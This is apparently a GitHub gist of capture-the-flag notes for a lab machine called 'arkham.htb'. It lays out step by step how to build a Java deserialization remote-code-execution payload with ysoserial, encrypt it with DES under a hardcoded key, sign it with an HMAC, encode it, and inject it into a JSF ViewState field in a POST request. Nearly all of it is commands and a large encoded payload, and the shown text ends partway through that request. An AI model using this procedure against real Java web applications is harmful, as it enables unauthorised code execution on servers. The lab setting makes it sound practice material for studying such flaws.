Last active
August 10, 2019 15:26
-
-
Save dualfade/76d99ad0829ceef3a83761dbeee3b66d to your computer and use it in GitHub Desktop.
Encrypted Java Serialized RCE --
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- CREATE SERIALIZED PAYLOAD -- | |
| NOTE -- | |
| Downgrade to Java 8 !! | |
| Java 9+ shits out... | |
| -- ENCRYPT -- | |
| https://github.com/frohoff/ysoserial | |
| https://github.com/pimps/ysoserial-modified | |
| ❱ java -jar ysoserial.jar CommonsCollections5 cmd ' ping -n 3 10.10.14.13' > ping.bin | |
| ENCRYPT WITH KEY -- | |
| ❱ openssl enc -des-ecb -K 4a7346393837362d -in ping.bin -out ping.bin.enc | |
| GET HMAC -- | |
| https://gist.githubusercontent.com/Averroes/f870f4a4b8a86cd6115a/raw/147a97b618799e2c88cc73b048a2cae5bee51189/hmac_base64.py | |
| ❱ python hmac_base64.py | |
| gyJcm3/WDJMm5LZNa4UZhI27qL8= | |
| APPEND HMAC SIG -- | |
| ❱ base64 -d <<< gyJcm3/WDJMm5LZNa4UZhI27qL8= >> ping.bin.enc | |
| OPENSSL BASE64 -- | |
| ❱ openssl enc -base64 -in ping.bin.enc -out ping.bin.enc.b64 | |
| URL ENCODE -- | |
| ❱ cat ping.bin.enc.b64 | |
| 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 | |
| uv+AhJlnWgODIlybf9YMkybktk1rhRmEjbuovw== | |
| CREATE URLENCODE -- | |
| ❱ hURL -U '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 | |
| uv+AhJlnWgODIlybf9YMkybktk1rhRmEjbuovw==' | |
| Original :: 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 | |
| uv+AhJlnWgODIlybf9YMkybktk1rhRmEjbuovw== | |
| URL ENcoded :: o4swGdxTZXw1mKtPxFkjUuWrKOBMVnhQ7RbMizpCb4xVYti30eaLecyiLLU7plNh%0AjPFRnShy4IlIzxo0JHimBY3Uq1igjemgy0Ki4udfDHCBAJC2Yt%2BEq3hlEwGdEWra%0Ah3tqcdo5Gxzenm%2BTobetH0%2BaG8%2BiCEB1RbCm7b%2FRwuOINGcnD%2BFO3DfRKu9gMF%2Bh%0Ays2vYzpsGEyHK3knl7tEaywlBVCuHcXMqHLkcdxxT%2FxmSmtDFG85aQTVagEZSOEE%0AX9bCEH73rYHKIdkiMmo3tRSv0aFcuTCzo9ywZEOE7bULbrBQyiDX34vkaoTgGwZx%0A5xiJxcuYu0CBGPZRDq1UBGH1QEaZ391dmKFPiBhIqgml%2FErcnLpXhN2CNsbBu9HH%0AKSuy0lTdaYJifqCf5zOXppnKQiTkInD9AN%2BIjrIKoKhLslblPlDOJTrY6IWKCYEH%0A9ZL8tl0EWKQbiDEBanGkxqkFjjIIqXZFoV%2BTjkS1FnVO%2FoHWBB6y1rXJo3U1C5yW%0AD2YmTWm4GDisEHwUAFbDTHvZSVfjA0tLKeDOxOM%2F8vgIApW1PlnAuOltjvtrVgAj%0AUuoY6NO8h6x3ioFXuSojJj0bbeoeG7kVjJZD7p9o4JtufXDtpaElTEsYzbvfwgpz%0AyOnbHFri%2BOoCf6L2TbJlUiBFq5FvvhNyPwza7MocS3WLI6L7jjRFBAj%2Fa48lPBfj%0A3HySlKnWNAVyWskTs1o8Hdb3TC7cRUzFTUer8AfWEDvtm3v%2BIESFimUAOxHOFFR7%0A3LZ%2F7khHVV1lupeOblKVsHkHnBemhyfnlX5t0uLB6xOgWfupTUMw2GUM1xZCs%2F3t%0AZRbc6ulq45nE9ps3Ao9PQadiP3gi5yNpoKyaKP3GuGkZTr2W1Tevu2FmdzxVgkIv%0AQHYhQvw4tg%2FW90wu3EVMxe5N7cpJQ5Gl3lqAftAUN2EPpqoCDm%2FldyARkewpYRJ9%0AXjpjF%2FEcTrt%2FfnejLvYdO%2BBR5KpeUlYt8voC9D%2FjEKdO5AUum%2BldL14iQQVDR2cr%0ALcka9lf%2FXnUnzlQ72iu6zRk9BVHFAGuaBqLS7bchBDmZykIk5CJw%2Fdb3TC7cRUzF%0A08Udf9g%2F4PoLZwKzd%2FQUeKSzGm5JdFPDPWKHTvaqzS%2BocbAXBqBvmCnR8Hwe55To%0Av3utbD0Pyq3mhe4htTKB2O7l0dR9kK%2BOWa1x14dolqUW5qz5wuWajIKmJg0aiagX%0AfwC6W7ATzAwSbkbvpNj3Ij4Y6crGmy9mFKRFsr%2FPBrHPYHrCoLDObr%2FdWUcnU9Sk%0AV%2FbyJR1QkOTkc%2BVqj7d88xxXsUy%2BdL9wPVElFfuo2EEhS1FRDmchOjv8e5HyUaM3%0AObK1ByNnxYcrn1otpe47K27rgrv31ujZnD1gq0qXbpX5pBUxtgeZO1s3lsDMDjWu%0A36Nj8l51BQbQCWDaQWOgL63GQrmXQx5n96T9PqlXQkh95rlp3gk%2F5PHiPH0hgDaL%0A3lLHwGZ7MMxpW2fDgeBvE68Izbftt%2FnTpiRl7A%2BDFCK%2BkpC9Kn71vzhtgjl5P0s4%0A%2FQUigK6H%2B92Gy2cqmu68JBGtu2efXvM64vieDI%2F0t6i3EmsS4trV6%2FmzUiDGugoM%0A3Y9DQ77qlt9fVI0d1YhOtKQP5TzdC7zaxpg6IAKcLXG3EmsS4trV69qeqsRMq%2BOR%0AGeWiGX3s4SVLl9PfxTH5uoT5WYyFyRQdjtGDAduLpu1LIvCjZkDeDI1yqv8ai%2BVr%0AIRQPjqnnICliXw0GruDEcYPdjpCt2tP7S5fT38Ux%2BbqE%2BVmMhckUHY7RgwHbi6bt%0AuCNTYpT2pPtaIi3QStIFXqjkO%2B7eDUuWZXdtviVwAA%2FaJC%2BMGZeldX6w11EpdknL%0AYOtigP7PKEEA6vQhhAWtHvTaMDSakBZ9VtZWVZH2nQ8k3hKqRB8kJzWIZhqip5xm%0AL3ZE318bTqE7%2FHuR8lGjNzmytQcjZ8WHK59aLaXuOyvzRQ05jPPFo3Ru%2BfitqP38%0A50NCtzETbU6%2B4NFgkIRjSDn5mPO6J0Uc%2FNwZfg8%2B6kEB2Ekbz1EpDYC%2B%2FFlJ3S%2Bl%0Ad4ROVLoTrPk7pNNk1bkTEsiBvdkwiHGhrdSRqyL34OxROiCGKIVe73TuYT3iCGRT%0AajzQ1z6XoCObV41a9S7qSEgbK%2FISQ3zAvUr0vZ7DkPYjmxIMwK2svQ3jv27C1Q5p%0A1sIcQ6eCfFrlotOT%2BE%2FH2BCqBXXQp9n%2FolQZftpJjEHKKtspHu1s%2Bw4sIczNBd6Q%0AUYT30HTLpD0%2BPYWKcReCkaQTq1VWc%2FEtgfAOwB%2Fb8qwqvdpryuqdeQ9mJk1puBg4%0AsvFF6zgTsRGRNvsbo3xn7a%2BwLCda3PYGxQ75A5bc64JnoilAwTLv1%2Fd5cGgz2UfJ%0AeZ%2Big43TdSx1mZL8SnCQI%2FDfMEFqxb8oJF%2F7UMGPbPLbLmk7MENYWOKbOMwx5ct7%0AzeaPiGooxw18jSTyOzv0VJzUOEwAsd8VxuGY9PC5waiItIi%2BI7XkElhLbjbcMqHa%0AK3EF0SSgvtraTRiA8wtf5DinwXj2637fjmAtYsMBwrIQNcnXCrwTu5KrDaT8lMbC%0Ajhg9cthsRel1uV6IlBeXRLkhSBXlU21NJwO0SPLY9GqkReKnTktyZ1Dtt%2FWHhMKT%0Ay6KGOtgcICb3ML2DtQwJ93EWTeUPNTTgWZKYXUWWWbIl%2F16DWhLq%2BMYNc3gXF3wf%0Am5Gq8ywhwiVUZsnQgHL37b9zISnVe8ryfkav5i2v4r101YutYwNfYvEd7%2BEqoPO6%0AEZu5SgeQddk4I7kiBrmyF7%2FJeholNDWwgGxWbsJbBzVtrn3gOjfHOw9QI%2Ba6diBT%0Auv%2BAhJlnWgODIlybf9YMkybktk1rhRmEjbuovw%3D%3D | |
| ❱ | |
| UPADATE POST REQUEST -- | |
| POST /userSubscribe.faces HTTP/1.1 | |
| Host: arkham.htb:8080 | |
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Referer: http://arkham.htb:8080/userSubscribe.faces | |
| Content-Type: application/x-www-form-urlencoded | |
| Content-Length: 3291 | |
| Connection: close | |
| Cookie: JSESSIONID=2DAC52C6A111F7C54ECECE1736E13190 | |
| Upgrade-Insecure-Requests: 1 | |
| j_id_jsp_1623871077_1%3Aemail=test%40gmail.com&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=o4swGdxTZXw1mKtPxFkjUuWrKOBMVnhQ7RbMizpCb4xVYti30eaLecyiLLU7plNh%0AjPFRnShy4IlIzxo0JHimBY3Uq1igjemgy0Ki4udfDHCBAJC2Yt%2BEq3hlEwGdEWra%0Ah3tqcdo5Gxzenm%2BTobetH0%2BaG8%2BiCEB1RbCm7b%2FRwuOINGcnD%2BFO3DfRKu9gMF%2Bh%0Ays2vYzpsGEyHK3knl7tEaywlBVCuHcXMqHLkcdxxT%2FxmSmtDFG85aQTVagEZSOEE%0AX9bCEH73rYHKIdkiMmo3tRSv0aFcuTCzo9ywZEOE7bULbrBQyiDX34vkaoTgGwZx%0A5xiJxcuYu0CBGPZRDq1UBGH1QEaZ391dmKFPiBhIqgml%2FErcnLpXhN2CNsbBu9HH%0AKSuy0lTdaYJifqCf5zOXppnKQiTkInD9AN%2BIjrIKoKhLslblPlDOJTrY6IWKCYEH%0A9ZL8tl0EWKQbiDEBanGkxqkFjjIIqXZFoV%2BTjkS1FnVO%2FoHWBB6y1rXJo3U1C5yW%0AD2YmTWm4GDisEHwUAFbDTHvZSVfjA0tLKeDOxOM%2F8vgIApW1PlnAuOltjvtrVgAj%0AUuoY6NO8h6x3ioFXuSojJj0bbeoeG7kVjJZD7p9o4JtufXDtpaElTEsYzbvfwgpz%0AyOnbHFri%2BOoCf6L2TbJlUiBFq5FvvhNyPwza7MocS3WLI6L7jjRFBAj%2Fa48lPBfj%0A3HySlKnWNAVyWskTs1o8Hdb3TC7cRUzFTUer8AfWEDvtm3v%2BIESFimUAOxHOFFR7%0A3LZ%2F7khHVV1lupeOblKVsHkHnBemhyfnlX5t0uLB6xOgWfupTUMw2GUM1xZCs%2F3t%0AZRbc6ulq45nE9ps3Ao9PQadiP3gi5yNpoKyaKP3GuGkZTr2W1Tevu2FmdzxVgkIv%0AQHYhQvw4tg%2FW90wu3EVMxe5N7cpJQ5Gl3lqAftAUN2EPpqoCDm%2FldyARkewpYRJ9%0AXjpjF%2FEcTrt%2FfnejLvYdO%2BBR5KpeUlYt8voC9D%2FjEKdO5AUum%2BldL14iQQVDR2cr%0ALcka9lf%2FXnUnzlQ72iu6zRk9BVHFAGuaBqLS7bchBDmZykIk5CJw%2Fdb3TC7cRUzF%0A08Udf9g%2F4PoLZwKzd%2FQUeKSzGm5JdFPDPWKHTvaqzS%2BocbAXBqBvmCnR8Hwe55To%0Av3utbD0Pyq3mhe4htTKB2O7l0dR9kK%2BOWa1x14dolqUW5qz5wuWajIKmJg0aiagX%0AfwC6W7ATzAwSbkbvpNj3Ij4Y6crGmy9mFKRFsr%2FPBrHPYHrCoLDObr%2FdWUcnU9Sk%0AV%2FbyJR1QkOTkc%2BVqj7d88xxXsUy%2BdL9wPVElFfuo2EEhS1FRDmchOjv8e5HyUaM3%0AObK1ByNnxYcrn1otpe47K27rgrv31ujZnD1gq0qXbpX5pBUxtgeZO1s3lsDMDjWu%0A36Nj8l51BQbQCWDaQWOgL63GQrmXQx5n96T9PqlXQkh95rlp3gk%2F5PHiPH0hgDaL%0A3lLHwGZ7MMxpW2fDgeBvE68Izbftt%2FnTpiRl7A%2BDFCK%2BkpC9Kn71vzhtgjl5P0s4%0A%2FQUigK6H%2B92Gy2cqmu68JBGtu2efXvM64vieDI%2F0t6i3EmsS4trV6%2FmzUiDGugoM%0A3Y9DQ77qlt9fVI0d1YhOtKQP5TzdC7zaxpg6IAKcLXG3EmsS4trV69qeqsRMq%2BOR%0AGeWiGX3s4SVLl9PfxTH5uoT5WYyFyRQdjtGDAduLpu1LIvCjZkDeDI1yqv8ai%2BVr%0AIRQPjqnnICliXw0GruDEcYPdjpCt2tP7S5fT38Ux%2BbqE%2BVmMhckUHY7RgwHbi6bt%0AuCNTYpT2pPtaIi3QStIFXqjkO%2B7eDUuWZXdtviVwAA%2FaJC%2BMGZeldX6w11EpdknL%0AYOtigP7PKEEA6vQhhAWtHvTaMDSakBZ9VtZWVZH2nQ